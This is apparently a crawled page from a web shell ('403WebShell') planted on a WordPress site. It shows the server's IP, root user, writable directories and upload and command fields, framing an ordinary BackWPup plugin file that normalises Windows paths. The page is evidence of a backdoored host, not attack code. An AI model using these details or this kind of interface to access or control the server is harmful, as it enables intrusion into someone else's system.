Uname:Linux woropds 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64

Base Dir : /var/www/sweetheart.mx/htdocs

User : root


Who Knows WP Shell uploader
Uname:Linux woropds 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 216.238.66.20  /  Your IP : 216.73.216.199
Web Server : nginx/1.30.4
System : Linux woropds 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/sweetheart.mx/htdocs/wp-content/plugins/backwpup/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/sweetheart.mx/htdocs/wp-content/plugins/backwpup/inc/class-path-fixer.php
<?php

/**
 * Fix paths so they don't trigger an error on Windows.
 *
 * This class is meant to be a workaround for PHP bug #43817.
 *
 * On Windows IIS, if the parent directory is not readable, then the given directory will give access denied.
 *
 * @since 3.4.0
 */
class BackWPup_Path_Fixer {

	/**
	 * Fix the path if necessary.
	 *
	 * @param string $path
	 *
	 * @return string the fixed path
	 */
	public static function fix_path( string $path ): string {
		if ( get_site_option( 'backwpup_cfg_windows' ) ) {
			$path = trailingslashit( $path );

			if ( is_dir( $path . 'wp-content' ) ) {
				return $path . 'wp-content/..';
			}
		}

		return $path;
	}

	/**
	 * Normalize path separators to forward slashes on Windows.
	 *
	 * @param string|null $path The path to normalize.
	 *
	 * @return string The normalized path.
	 */
	public static function slashify( ?string $path ): string {
		if ( ! $path ) {
			return '';
		}

		if ( '\\' === DIRECTORY_SEPARATOR ) {
			return str_replace( '\\', '/', $path );
		}
		return $path;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit